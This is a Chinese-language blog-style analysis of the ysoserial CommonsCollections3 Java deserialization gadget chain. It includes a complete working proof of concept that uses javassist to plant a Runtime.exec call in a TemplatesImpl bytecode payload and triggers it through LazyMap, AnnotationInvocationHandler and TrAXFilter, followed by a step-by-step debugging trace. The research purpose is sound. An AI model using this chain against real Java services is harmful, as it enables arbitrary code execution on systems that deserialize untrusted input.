Ysoserial Commons Collections3分析
写在前面
同时javassist版本最好也要与yso中的版本一致，高版本的javassist也会抛出异常，建议JDK7u21+javassist:3.12.0.GA
前置知识
简单lou了一眼，这条链是cc1和cc2的结合版本，基本都是之前分析过的内容，但是考虑到cc1部分已经隔了很久了有些东西遗忘了，还是重新回顾下，温故而知新。
CtClass.makeClassInitializer().setBody()
在该Ctclass对象内设置一段静态代码块 ，创建一个静态代码块。
下面代码将静态代码块内容设置为弹calc，可参考之前cc2分析文章的方法，生成.class文件来看看文件内容。
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
ConstantTransformer
在该类开头的注释作者已经写的很明白了，主要用作每次返回相同constant的Transformer
观察源码, 在创建实例化对象时将传入的参数Object constantToReturn赋值给属性iConstant并在调用transform()或getConstant()方法时返回iConstant的值
ChainedTransformer
这个类中核心方法为重写的transform方法。该方法会对传入的可迭代参数进行遍历，并依次调用可迭代对象中每个元素的transform方法且上一次调用的transform方法返回值会作为下一个元素调用transfrom方法的参数
TemplatesImpl
在这个类中主要需要注意3个方法defineTransletClasses()、getTransletInstance()、newTransformer()
利用思路大致为：预先通过反射将恶意类的bytes数组赋值给该类的属性_bytecodes，之后以newTransformer()作为入口点，调用getTransletInstance()方法，进而调用defineTransletClasses()方法(需要在之前的if判断中_name不为null) 通过ClassLoader#defineClass()加载_bytecodes，且通过判断_bytecodes代表的类的父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet将_transletIndex属性重新赋值为0，最后回到newTransformer()方法中实例化恶意类进而触发静态代码块中的代码执行。
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
/**
* This method generates an instance of the translet class that is
* wrapped inside this Template. The translet instance will later
* be wrapped inside a Transformer object.
*/
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
/**
* Implements JAXP's Templates.newTransformer()
*
* @throws TransformerConfigurationException
*/
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
动态代理与LazyMap.get()
动态代理
一般创建动态代理时会用到java.lang.reflect.Proxy类，和java.lang.reflect.InvocationHandler接口。
主要通过Proxy.newProxyInstance方法创建代理对象
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
throws IllegalArgumentException {
...
}
InvocationHandler
其中处理器也即处理程序一般为InvocationHandler,该接口只有一个invoke方法用作调用代理类中的方法,在创建代理类时需要重写该方法。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("代理方法执行了");
}
而在cc1中InvocationHandler的实现类AnnotationInvocationHandler类的invoke方法会调用LazyMap.get()
动态代理有一个最重要的特点即：在与方法关联的代理实例上调用方法时，将在调用处理程序上调用invoke方法
AnnotationInvocationHandler
这里有必要提一下AnnotationInvocationHandler类
AnnotationInvocationHandler实现了InvocationHandler接口，并且重写了readObject方法，而在readObject方法会调用entrySet方法进而触发动态代理机制调用invoke方法进而调用LazyMap.get()
LazyMap.get()
LazyMap继承了抽象类AbstractMapDecorator，LazyMap类的构造方法也被protected修饰，不可以直接new，需要调用decorate方法来生成LazyMap的实例化对象。而在LazyMap的get方法中会调用transform方法
InstantiateTransformer
该类中有两个属性iParamTypes和iArgs,在调用有参构造的时候会将传入的数组分别赋值给这两个属性。
该类的transform方法会通过反射实例化一个对象出来
TrAXFilter
新出现的一个类，观察源码，有参构造会调用传入Templates类型参数的newTransformer方法
PoC分析
poc
package cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
inputStream.close();
}
}
还是先拆开分析poc再整体调反序列化部分。
第一部分
首先是定义了两个String类型的AbstractTranslet和TemplatesImpl,之后通过javassist写了个恶意类，类名为CommonsCollections333333333,设置父类为AbstractTranslet，并将弹计算器的payload写入该类静态代码块；之后将该类转换为byte数组，通过反射将TemplatesImpl的属性_bytecodes赋值为恶意类经转换后的byte数组；继续通过反射将TemplatesImpl的属性赋值为test（只要不为null即可）
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet); //设置父类为AbstractTranslet
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
第二部分
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
定义了数组transformers，该数组第一个元素为new ConstantTransformer(TrAXFilter.class)走ConstantTransformer的有参构造会将ConstantTransformer的属性iConstant赋值为TrAXFilter的class对象；该数组第二个元素为new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})将InstantiateTransformer类的属性iParamTypes和iArgs分别赋值为new Class[]{Templates.class},new Object[]{templatesImpl}
之后将该数组赋值给了ChainedTransformer chainedTransformer并作为LazyMap.decorate()方法的参数创建LazyMap对象；之后通过反射拿到AnnotationInvocationHandler类的构造方法并将LazyMap对象作为构造方法参数创建动态代理时需要的处理器invocationHandler；之后创建动态代理LazyMap的代理类map1并作为参数通过AnnotationInvocationHandler类的构造方法获得AnnotationInvocationHandler的实例化对象object。
最后把object序列化再反序列化即会触发poc。
下面调试一遍跟一下
调试分析
在AnnotationInvocationHandler中readObject下断点，debug
跟进到entrySet，此时memberValues为被代理的LazyMap对象（上面传入的map1）所以根据动态代理的机制会调用动态代理中处理器的invoke方法，在invoke处也下个断点，F9跟一下
调用了LazyMap的get方法，此时factory为ChainedTransformer对象，这里调用了ChainedTransformer对象的transform方法，继续跟进
进入ChainedTransformer的transform方法，第一个元素是ConstantTransformer对象，先调用其transform方法，ConstantTransformer的transform方法会返回iConstant，而我们在构造poc时new的transformers数组中第一个元素new ConstantTransformer(TrAXFilter.class)在new的时候已经将iConstant赋值为TrAXFilter的class对象，也是这里第一次返回的object
在第二次循环时，将第一次的object作为InstantiateTransformer#transform方法的参数，该方法通过反射先拿到input参数（也就是我们传入的object即为TrAXFilter对象）的构造方法
在TrAXFilter的构造方法中调用了TemplatesImpl的neTransformer方法，继续跟进
调用了getTransletInstance()方法
因为我们构造poc时反射设置了_name的值为test，跳过第一个if，走进第二个if中的defineTransletClasses()方法
在defineTransletClasses()方法中通过ClassLoader#defineClass()加载恶意类的byte数组，之后将_transletIndex属性赋值为0
后续跳回getTransletInstance()方法实例化该恶意类触发静态代码块中代码执行
Gadget Chain
AnnotationInvocationHandler#readobject
(proxy)lazyMap#entrySet
AnnotationInvocationHandler#invoke
lazyMap#get
ChainedTransformer#transform
ConstantTransformer#transform
InstantiateTransformer#transform
TrAXFilter(构造方法)
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
恶意类.newInstance()
Runtime.exec()
End
CC3这条链应该算是CC1和CC2的结合体了，反序列化触发点为AnnotationInvocationHandler#readobject之后到
ChainedTransformer构造这里比较有意思，是通过InstantiateTransformer类，利用该类中transform方法会通过反射获取构造方法，结合TrAXFilter类的构造方法刚好可以调用TemplatesImpl#newTransformer来进入CC2部分到达任意代码执行。